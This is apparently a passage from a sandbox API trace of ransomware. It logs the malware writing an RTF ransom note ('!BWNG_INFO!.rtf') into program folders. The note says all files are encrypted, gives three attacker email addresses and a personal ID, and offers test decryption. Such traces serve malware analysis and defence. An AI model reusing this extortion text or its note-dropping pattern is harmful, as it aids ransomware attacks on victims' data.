D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2732c08, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nd", lpUsedDefaultChar=0x0) returned 14086 [0041.099] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.100] CloseHandle (hObject=0x1c4) returned 1 [0041.100] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\!bwng_info!.rtf")) returned 0xffffffff [0041.100] GetLastError () returned 0x2 [0041.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.882] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 